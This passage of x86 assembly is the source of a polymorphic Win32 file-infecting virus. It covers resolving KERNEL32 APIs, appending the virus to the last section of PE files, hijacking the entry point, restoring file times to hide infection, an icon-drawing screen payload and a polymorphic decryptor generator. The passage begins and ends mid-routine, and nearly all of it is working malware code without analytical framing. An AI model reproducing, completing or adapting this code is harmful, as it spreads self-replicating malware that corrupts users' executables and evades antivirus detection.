                mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew]
                add esi,eax
                add esi,NT_FileHeader.FH_TimeDateStamp
                lodsd
                mov esi,dword ptr [edi+ID_FirstThunk]
                sub esi,edx
                add esi,ebx
                cmp eax,dword ptr [edi+ID_TimeDateStamp]
                je binded_file

                ;esi - Import Address Table for KERNEL32

                ;Save RVA for GetModuleHandle

                push esi
                lea edi,dword ptr [ebp+szGetModuleH]
                call find_by_name
                mov dword ptr [ebp+rva_GetModuleH+mem_size],eax

                ;Save RVA for GetProcAddress

                pop esi
                lea edi,dword ptr [ebp+szGetProcAddr]
                call find_by_name
                mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax

                ret

binded_file:    ;esi - Import Address Table for KERNEL32

                ;Binded GetModuleHandle

                push esi
                mov edi,dword ptr [ebp+a_GetModuleH]
                call find_by_address
                mov dword ptr [ebp+rva_GetModuleH+mem_size],eax

                ;Binded GetProcAddress

                pop esi
                mov edi,dword ptr [ebp+a_GetProcAddr]
                call find_by_address
                mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax

                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get RVA of an API function in a binded file
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

find_by_address:;
                ;Entry:
                ;
                ;edx - Delta offset for last section
                ;esi - Import Address Table for KERNEL32
                ;edi - Function entry point
                ;
                ;Exit:
                ;
                ;eax - RVA of function address (NULL if not found)
                ;

search_thunk:   ;Check if this is the storage address

                lodsd
                or eax,eax
                jz err_by_address
                cmp eax,edi
                jne search_thunk

                ;Calculate the offset of that thunk dword into file

                lea eax,dword ptr [esi-00000004h]
                sub eax,ebx
                add eax,edx
                ret

err_by_address: xor eax,eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Find RVA of a function imported by name
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

find_by_name:   ;
                ;Entry:
                ;
                ;edx - Delta offset for last section
                ;esi - Import Address Table for KERNEL32
                ;edi - Function name
                ;
                ;Exit:
                ;
                ;eax - RVA of function address (NULL if not found)
                ;

                ;Search for function name into IMAGE_IMPORT_BY_NAME
                ;structure pointed by every dword in the thunk data array

loop_by_name:   ;Get address of IMAGE_IMPORT_BY_NAME structure

                lodsd
                or eax,eax
                jz err_by_name

                ;Get pointer to function name

                push esi
                push edi
                sub eax,edx
                lea esi,dword ptr [eax+ebx+00000002h]

                ;Compare strings

name_by_name:   lodsb
                or al,al
                jz ok_by_name
                scasb
                je name_by_name

                ;Go to next entry into Import Address Table

                pop edi
                pop esi
                jmp loop_by_name

ok_by_name:     pop edi
                pop esi
                lea eax,dword ptr [esi-00000004h]
                sub eax,ebx
                add eax,edx
err_by_name:    ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Infection and mutation
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

infect_file:    ;
                ;Entry:
                ;
                ;My_FindData - Win32 FindFile structure filled with data
                ;              about file to infect
                ;eax         - Base address of memory mapped image
                ;
                ;Exit:
                ;
                ;None
                ;

                ;Get last section header

                mov ebx,eax
                call get_last_sh

                ;ebx - Host base address
                ;esi - IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to last section header

                ;This will help us later for calculating host base address

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                add eax,dword ptr [edi+SH_VirtualAddress]
                sub eax,dword ptr [edi+SH_PointerToRawData]
                add eax,init_size
                mov dword ptr [ebp+fix_baseaddr+mem_size],eax

                ;Copy original code at entry point into our buffer

                mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
                mov dword ptr [ebp+rva_org_eip+mem_size],edx
                call RVA2RAW
                mov esi,ecx
                lea edi,dword ptr [ebp+entry_code+mem_size]
                mov ecx,BUFFER_EP
                rep movsb                
                
                ;Free memory mapped file

                mov eax,ebx
                call unmap_close

                ;Add virus size to file size and re-map it

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                mov dword ptr [ebp+original_size],eax
                add eax,inf_size
                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                inc eax
                mul ecx
                mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax
                call open_map_file
                or eax,eax
                jnz done_re_open
                stc
                ret

done_re_open:   ;ebx - host base address all along the following code

                mov ebx,eax

                ;Initialize poly engine register table
                ;We are going to insert some garbage code at host
                ;entry-point, followed by a JMP to polymorphic
                ;decryptor
                ;This routine will also initialize random number
                ;generator

                call init_poly

                ;Check for relocations over entry-point code

                call get_last_sh
                mov edx,dword ptr [esi+OH_DataDirectory.        \
                                       DE_BaseReloc.            \
                                       DD_VirtualAddress]

                ;Lovely file, no relocations, so we cant generate
                ;lots of polymorphic code at host entry-point

                or edx,edx
                jz lovely_file

                call RVA2RAW
                mov edi,esi
                mov esi,ecx

                ;ebx - Host base address
                ;ecx - Pointer to RAW data or NULL if error
                ;edx - Section delta offset
                ;esi - Pointer to section RAWDATA
                ;edi - Pointer to IMAGE_OPTIONAL_HEADER

                ;Check relocations over host entry-point code

                call do_reloc_work

                ;We have space for inserting some garbage code?

                cmp eax,00000005h
                jb fuxoring_file

                ;Another lovely file, eh?

                cmp eax,BUFFER_EP
                jb ugly_file

lovely_file:    ;We reach this code for 3 posible reasons:
                ;
                ; 1) When the target file have no relocations or...
                ; 2) All the relocations are behind the entry-point or...
                ; 3) We have lots space from entry-point to 1st reloc

                ;Save number of bytes to restore at host entry-point

                mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP

                ;Get RAW of entry-point

                call get_last_sh
                mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
                call RVA2RAW
                mov edi,ecx

                ;Generate a piece of polymorphic code at host entry-point

                push ebx
                push edi
                call gen_garbage
                pop eax
                sub eax,edi
                pop ebx

                ;Insert a jump to virus code at entry point

                jmp short insert_jump

ugly_file:      ;There are no relocations over first five bytes of
                ;code at host entry-point
                ;So we can insert a JUMP to virus polymorphic decryptor

                ;Save size of code to generate

                mov dword ptr [ebp+insert_size+mem_size],00000005h

                ;Where to place the JUMP

                mov edx,dword ptr [edi+OH_AddressOfEntryPoint]
                call RVA2RAW
                mov edi,ecx
                xor eax,eax

                ;Insert a jump to virus code at entry point

insert_jump:    push eax
                mov al,0E9h
                stosb
                push edi
                call get_last_sh
                mov eax,dword ptr [ebp+original_size]
                add eax,poly_decryptor-Mem_Base
                sub eax,dword ptr [edi+SH_PointerToRawData]
                add eax,dword ptr [edi+SH_VirtualAddress]
                sub eax,dword ptr [esi+OH_AddressOfEntryPoint]
                sub eax,00000005h
                pop edi
                pop edx
                add eax,edx
                stosd

                ;Execution continues on next routine

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Attach virus to file
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

back2infection: ;We fall here after the entry-point stuff
                ;Complete infection and do polymorphic encryption
                                                                 
                ;Save current system time inside virus body

                lea eax,dword ptr [ebp+inf_time+mem_size]
                push eax
                call dword ptr [ebp+a_GetSysTime]

                ;Generate polymorphic encryption

                push ebx
                call mutate
                pop ebx

                ;Get pointer to last section

                call get_last_sh

                ;ebx - Host base address
                ;esi - IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to last section header

                ;Get new SizeOfRawData and VirtualSize

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                add eax,mem_size-inf_size
                sub eax,dword ptr [edi+SH_PointerToRawData]
                mov edx,eax
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jbe ok_VirtualSize
                mov dword ptr [edi+SH_VirtualSize],eax
ok_VirtualSize: mov eax,edx
                xor edx,edx
                mov ecx,dword ptr [esi+OH_FileAlignment]                
                div ecx
                inc eax
                mul ecx
                mov dword ptr [edi+SH_SizeOfRawData],eax

                ;Set section characteristics

                or dword ptr [edi+SH_Characteristics], \
                       IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

                ;Update OH_SizeOfImage

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                mov edx,dword ptr [esi+OH_SizeOfImage]               
                cmp eax,edx
                jae done_image_s
                lea eax,dword ptr [edx+mem_size]                
done_image_s:   xor edx,edx
                mov ecx,dword ptr [esi+OH_SectionAlignment]                
                div ecx
                inc eax
                mul ecx
                mov dword ptr [esi+OH_SizeOfImage],eax

                ;Write virus into memory mapped file

                mov ecx,inf_size
                lea esi,dword ptr [ebp+Mem_Base+mem_size]
                mov edi,ebx
                add edi,dword ptr [ebp+original_size]
                rep movsb

                ;Free memory mapped file

                mov eax,ebx
                call unmap_close

                ;Exit, file is infected

                clc
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get RAW of entry
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Change the entry-point field in file header
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

fuxoring_file:  ;Well, after checking relocations for this file we
                ;found that there is a relocation over the first
                ;five bytes of host entry-point code

                ;Our buffer is ZERO bytes coz no code needs to be
                ;restored on host execution

                xor eax,eax
                mov dword ptr [ebp+insert_size+mem_size],eax

                ;Get the RVA for virus entry-point

                call get_last_sh
                mov eax,dword ptr [ebp+original_size]
                add eax,poly_decryptor-Mem_Base
                add eax,dword ptr [edi+SH_VirtualAddress]
                sub eax,dword ptr [edi+SH_PointerToRawData]

                ;Overwrite OH_AddressOfEntryPoint with the
                ;virus entry point

                mov dword ptr [esi+OH_AddressOfEntryPoint],eax
                jmp back2infection

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get pointer to last section header
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

get_last_sh:    ;
                ;Entry:
                ;
                ;ebx - Host base address
                ;
                ;Exit:
                ;
                ;esi - IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to last section header
                ; 

                mov esi,dword ptr [ebx+DH_lfanew]
                add esi,ebx
                cld
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                dec ecx
                mov eax,IMAGE_SIZEOF_SECTION_HEADER
                mul ecx
                movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add eax,edx
                add eax,esi
                mov edi,eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Convert RVA to RAW
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

RVA2RAW:        ;
                ;Entry:
                ;
                ;ebx - Host base address
                ;edx - RVA to convert
                ;
                ;Exit:
                ;
                ;ecx - Pointer to RAW data or NULL if error
                ;edx - Section delta offset
                ;esi - Pointer to IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to section header
                ; 

                cld
                mov dword ptr [ebp+search_raw],edx
                mov esi,dword ptr [ebx+DH_lfanew]
                add esi,ebx
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                jecxz err_RVA2RAW
                movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add edi,esi

                ;Get the IMAGE_SECTION_HEADER that contains RVA
                ;
                ;At this point:
                ;
                ;ebx - File base address
                ;esi - Pointer to IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to first section header
                ;ecx - Number of sections

s_img_section:                  
                ;Check if address of imports directory is inside this
                ;section

                mov eax,dword ptr [ebp+search_raw]
                mov edx,dword ptr [edi+SH_VirtualAddress]
                sub eax,edx
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jb section_ok

out_of_section: ;Go to next section header

                add edi,IMAGE_SIZEOF_SECTION_HEADER
                loop s_img_section
err_RVA2RAW:    ret

section_ok:     ;Get raw

                mov ecx,dword ptr [edi+SH_PointerToRawData]
                sub edx,ecx
                add ecx,eax
                add ecx,ebx
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Do needed relocation corrections over code at host entry-point
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

do_reloc_work:  ;Entry:
                ;
                ;ebx - host base address
                ;esi - IMAGE_BASE_RELOCATION
                ;edi - IMAGE_OPTIONAL_HEADER
                ;
                ;Exit:
                ;
                ;ecx - Space free of relocations at entry-point
                ;      

                ;Get IBR_VirtualAddress

                cld
                lodsd
                mov edx,eax             

                ;Get IBR_SizeOfBlock

                lodsd                   
                or eax,eax
                jnz continue_reloc

                ;We have reached the last relocation and all of them
                ;seem to refer to virtual addresses behind the host
                ;entry-point, so we can generate lots of polymorphic
                ;code there

                xor ecx,ecx
                not ecx
                ret

continue_reloc: ;Get number of relocations in this block
                                                        
                sub eax,IMAGE_SIZEOF_BASE_RELOCATION
                shr eax,01h
                mov ecx,eax

rblock_loop:    ;Get IBR_TypeOffset

                push ecx
                xor eax,eax
                lodsw
                and ax,0FFFh
                add eax,edx
                cmp eax,dword ptr [edi+OH_AddressOfEntryPoint]
                jae reloc_over_ep

next_reloc:     ;Follow relocations chain

                pop ecx
                loop rblock_loop
                jmp short do_reloc_work

reloc_over_ep:  ;Get number of bytes from entry-point to first relocation

                pop ecx
                sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
                ret
                       
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get entry point for GetProcAddress
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

my_GetProcAddr: ;
                ;Entry:
                ;
                ;a_Kernel32 - Base address for kernel32
                ;
                ;Exit:
                ;
                ;eax        - Entry point for GetProcAddress
                ;             or NULL if error
                ;

                push ebx

                ;Check for MZ signature at base address

                cld
                mov ebx,dword ptr [ebp+a_Kernel32]
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne e_GetProcAddr

                ;Now go to the pe header and check for the PE signature

                mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne e_GetProcAddr

                ;Get pointer to Image Export Directory and save it

                add esi,NT_OptionalHeader.      \
                        OH_DirectoryEntries.    \
                        DE_Export.              \
                        DD_VirtualAddress-0004h
                lodsd
                add eax,ebx
                push eax

                ;Get pointer to exported function names
                ;Also follow the AddressOfNameOrdinals array

                mov ecx,dword ptr [eax+ED_NumberOfNames]
                mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
                add edx,ebx
                lea esi,dword ptr [eax+ED_AddressOfNames]
                lodsd
                add eax,ebx                

next_name:      ;Search for GetProcAddress in exported function names

                push ecx
                lea esi,dword ptr [ebp+szGetProcAddr]
                mov edi,dword ptr [eax]
                or edi,edi
                jz try_next

got_name_rva:   ;Get absolute address

                add edi,ebx

                ;Compare names

                mov ecx,0000000Eh
                repe cmpsb
                je found_name

try_next:       ;Go to next name

                add eax,00000004h
                add edx,00000002h
                pop ecx
                loop next_name
                
                ;Name not found, exit with error

                pop eax
                jmp short e_GetProcAddr

found_name:     ;Ok, now edx is the index of the function, so
                ;lets look at AddressOfNameOrdinals using that index

                pop ecx
                pop edi

                ;Get ordinal for function

                movzx eax,word ptr [edx]

                ;Check if ordinal out of range

                cmp eax,[edi+ED_NumberOfFunctions]
                jae short e_GetProcAddr

                ;This is the starting export ordinal number

                sub eax,dword ptr [edi+ED_BaseOrdinal]
                inc eax
                shl eax,02h

                ;Get address of function

                mov esi,dword ptr [edi+ED_AddressOfFunctions]
                add esi,eax
                add esi,ebx
                lodsd
                add eax,ebx
                pop ebx
                ret

e_GetProcAddr:  ;GetProcAddress not found, exit with error

                xor eax,eax
                pop ebx
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get KERNEL32 module handle if we cant get it using GetModuleHandle
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

my_getkernel:   ;Get KERNEL32 base address using the ID_ForwarderChain
                ;
                ;Entry:
                ;
                ;ebx - Base address of host in memory
                ;
                ;Exit:
                ;
                ;eax - Kernel32 base address or NULL if error
                ;

                ;Generate a mov esi,xxxx instruction

                db 0BEh

                ;This is just a rva that points to ID_ForwarderChain
                ;field inside Kernel32 import module descriptor

rva_kernel32    dd 00000000h

                ;Get Kernel32 entry point from ID_ForwarderChain

                add esi,ebx
                lodsd

                ;Check for the MZ signature

                cmp word ptr [eax],IMAGE_DOS_SIGNATURE
                jne err_getkernel

                ;Now go to the pe header and check for the PE signature

                mov esi,dword ptr [eax+DH_lfanew]
                cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE
                jne err_getkernel

                ret

err_getkernel:  ;Could not find KERNEL32 base addres :(

                xor eax,eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get APIs entry point
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

get_functions:  ;Get the entry point for all KERNEL32 API functions
                ;used by the virus
                ;
                ;Entry:
                ;
                ;None
                ;
                ;Exit:
                ;
                ;ecx - NULL if error
                ;

                ;Dont fuck our host base address

                push ebx

                ;Get pointer to viral function names

                lea esi,dword ptr [ebp+viral_functions]
                lea edi,dword ptr [ebp+viral_addresses]

                ;Get number of functions

                mov ecx,(offset viral_tbl_end-offset viral_functions)/04h

get_each_ep:    ;Get pointer to function name

                cld
                lodsd
                add eax,ebp

                ;Save counter and pointers

                push ecx
                push esi
                push edi

                ;Get entry point using GetProcAddress

                push eax
                push dword ptr [ebp+a_Kernel32]
                call dword ptr [ebp+a_GetProcAddr]

                ;Restore counter and pointers

                pop edi
                pop esi
                pop ecx

                ;Check if entry point is valid

                or eax,eax
                jz exit_get_func

                ;Save function entry point

                cld
                stosd

                ;Next function

                loop get_each_ep

exit_get_func:  ;Return, eax contains last function entry point or NULL
                ;if error

                mov ecx,eax
                pop ebx
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Open file and create it memory mapped image
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

open_map_file:  ;
                ;Entry:
                ;
                ;my_FindData - FindData about file
                ;szWorkDir   - Buffer for path + name of file to infect
                ;
                ;Exit:
                ;
                ;eax - Base address of memory map for file
                ;      00000000h if error
                ;

                ;Reset attributes so we can get read/write access
                ;to target file

                push FILE_ATTRIBUTE_NORMAL
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_SetFileAttr]
                or eax,eax
                jz exit_open_map

                ;Open existing file

                xor eax,eax
                push eax
                push FILE_ATTRIBUTE_NORMAL
                push OPEN_EXISTING
                push eax
                push eax
                push GENERIC_READ or GENERIC_WRITE
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                lea eax,dword ptr [ebp+a_CreateFile]
                call dword ptr [ebp+a_CreateFile]
                cmp eax,INVALID_HANDLE_VALUE
                je exit_open_map

                ;Create filemapping over file

                mov dword ptr [ebp+CreateFile_h],eax
                xor eax,eax
                push eax
                push dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                push eax
                push PAGE_READWRITE
                push eax
                push [ebp+CreateFile_h]
                call dword ptr [ebp+a_CreateFileMap]
                or eax,eax
                jz Close_Create

                ;Map file in memory, get base address

                mov dword ptr [ebp+Mapping_h],eax
                xor eax,eax
                push dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                push eax
                push eax
                push FILE_MAP_WRITE
                push [ebp+Mapping_h]
                call dword ptr [ebp+a_MapViewOfFile]
                or eax,eax
                jz Close_Mapping                
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Unmap memory mapped its associated file and close file handle
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

unmap_close:    ;
                ;Entry:
                ;
                ;eax - File base address in memory
                ;
                ;Exit:
                ;
                ;None
                ;

                push eax
                call dword ptr [ebp+a_UnmapView]

Close_Mapping:  ;Close handle created by CreateFileMappingA

                push dword ptr [ebp+Mapping_h]
                call dword ptr [ebp+a_CloseHandle]

Close_Create:   ;Restore file time

                lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime]
                mov edx,00000008h
                push eax
                sub eax,edx
                push eax
                sub eax,edx
                push eax
                push dword ptr [ebp+CreateFile_h]
                call dword ptr [ebp+a_SetFileTime]

                ;Close handle created by CreateFileA

                push dword ptr [ebp+CreateFile_h]
                call dword ptr [ebp+a_CloseHandle]

                ;Restore file attributes

                push dword ptr [ebp+my_FindData.WFD_dwFileAttributes]
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_SetFileAttr]

exit_open_map:  xor eax,eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Activation routine
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

payload:        ;Use LoadLibrary to get a valid handle over USER32.dll

                lea eax,dword ptr [ebp+szUSER32]
                push eax
                call dword ptr [ebp+a_LoadLibrary]
                or eax,eax
                jz exit_payload
                mov dword ptr [ebp+a_User32],eax

                ;Get entry-point for LoadIcon

                lea edx,dword ptr [ebp+szLoadIcon]
                push edx
                push eax
                call dword ptr [ebp+a_GetProcAddr]
                or eax,eax
                jz exit_payload

                ;Load custom icon

                push 32513
                xor edx,edx
                push edx
                call eax
                or eax,eax
                jz exit_payload
                mov dword ptr [ebp+h_icon],eax

                ;Get entry-point for GetDC

                lea edx,dword ptr [ebp+szGetDC]
                push edx
                push dword ptr [ebp+a_User32]
                call dword ptr [ebp+a_GetProcAddr]
                or eax,eax
                jz exit_payload

                ;Get device context for the screen

                xor edx,edx
                push edx
                call eax
                or eax,eax
                jz exit_payload
                mov dword ptr [ebp+dc_screen],eax

                ;Get entry-point for DrawIcon

                lea edx,dword ptr [ebp+szDrawIcon]
                push edx
                push dword ptr [ebp+a_User32]
                call dword ptr [ebp+a_GetProcAddr]
                or eax,eax
                jz exit_payload

                mov ecx,00000100h

loop_payload:   ;Draw some icons in random coordinates

                push eax
                push ecx
                mov edx,eax
                push dword ptr [ebp+h_icon]
                mov eax,00000800h
                call get_rnd_range
                push eax
                mov eax,00000400h
                call get_rnd_range
                push eax
                push dword ptr [ebp+dc_screen]
                call edx
                pop ecx
                pop eax
                loop loop_payload

                ;Print

exit_payload:   ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate polymorphic encryption
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

mutate:         ;Initialize reg flags and random number generator

                call init_poly

                ;Select index reg

                call get_valid_reg
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+index_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

                ;Select counter reg

                call get_valid_reg
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+counter_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER

                ;Get and save random displacement
                ;Do not use any displacement if this field value is null
                
                call get_rnd32
                and eax,00000001h
                jz ok_disp
                call get_rnd32                
ok_disp:        mov dword ptr [ebp+ptr_disp],eax

                ;Now get a random key

                call get_rnd32
                mov dword ptr [ebp+crypt_key],eax

                ;Now get some flags

                call get_rnd32
                mov byte ptr [ebp+build_flags],al

                ;Get size for INC/DEC procedures

                call get_rnd32
                and al,03h
                cmp al,01h
                je get_size_ok
                cmp al,02h
                je get_size_ok
                inc al
get_size_ok:    mov byte ptr [ebp+oper_size],al

                ;Where to put decryptor code

                lea edi,dword ptr [ebp+poly_decryptor+mem_size]

                ;Lets begin inserting some shit

                call gen_garbage
                
                ;Choose a random decryptor style
                ;Each style uses the same build procedures, but
                ;in diferent order

                mov eax,(end_styles-tbl_styles)/04h
                call get_rnd_range
                lea esi,dword ptr [ebp+tbl_styles+eax*04h]
                lodsd
                add eax,ebp
                mov esi,eax

                ;Generator for decryptor styles

                ;Build initialization code

                mov ecx,00000003h
                call gen_style_code

                ;Set the loop point in the middle of nowhere

                push esi
                call gen_garbage
                mov dword ptr [ebp+loop_point],edi
                call gen_garbage
                pop esi

                ;Build loop code

                mov ecx,00000004
                call gen_style_code

                ;Insert a jump to virus code

                mov al,0E9h
                stosb
                lea eax,dword ptr [ebp+Mem_Base+mem_size]
                sub eax,edi
                sub eax,00000004h
                stosd

                ;Some garbage

                call gen_rnd_block

                ;Now do encryption

                lea edi,dword ptr [ebp+Mem_Base+mem_size]
                call fixed_size2ecx                                
loop_hide_code: push ecx
                mov eax,dword ptr [edi]
                call perform_crypt
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]                
loop_copy_res:  stosb
                shr eax,08h
                loop loop_copy_res
                pop ecx
                loop loop_hide_code

                ;Exit polymorphic engine

                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generator for decryptor styles
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_style_code: lodsd
                add eax,ebp
                push ecx
                push esi
                call eax
                call gen_garbage
                pop esi
                pop ecx
                loop gen_style_code
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Perform encryption
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

perform_crypt:  ;Place for encryption code

                db 10h dup (00h)

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Get delta offset
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_get_delta:  ;This is the CALL opcode

                mov al,0E8h
                stosb

                ;Save the place for the calling address

                stosd
                mov dword ptr [ebp+delta_call],edi
                push edi

                ;Generate some random data

                call gen_rnd_block

                ;Get displacement from CALL instruction to destination
                ;address

                mov eax,edi
                pop esi
                sub eax,esi

                ;Put destination address after CALL opcode

                mov dword ptr [esi-00000004h],eax

                ;Generate some garbage code into destination address

                call gen_garbage

                ;Choose method

                mov eax,(end_delta_mode-tbl_delta_mode)/04h
                call get_rnd_range
                mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h]
                add eax,ebp
                jmp eax

delta_method_1: ;Generate:
                ;
                ;       call get_delta
                ;       ...
                ;       get_delta:
                ;       ...
                ;       pop index_reg
                ;       ...

                call gen_pop_index
                ret

delta_method_2: ;Generate:
                ;
                ;       call get_delta
                ;       ...
                ;       get_delta:
                ;       ...
                ;       pop reg_1
                ;       ...
                ;       mov reg_index,reg_1
                ;       ...

                call gen_pop_reg_1
                mov ah,byte ptr [ebp+index_mask]
                shl ah,03h
                or ah,byte ptr [ebx+REG_MASK]
                or ah,0C0h
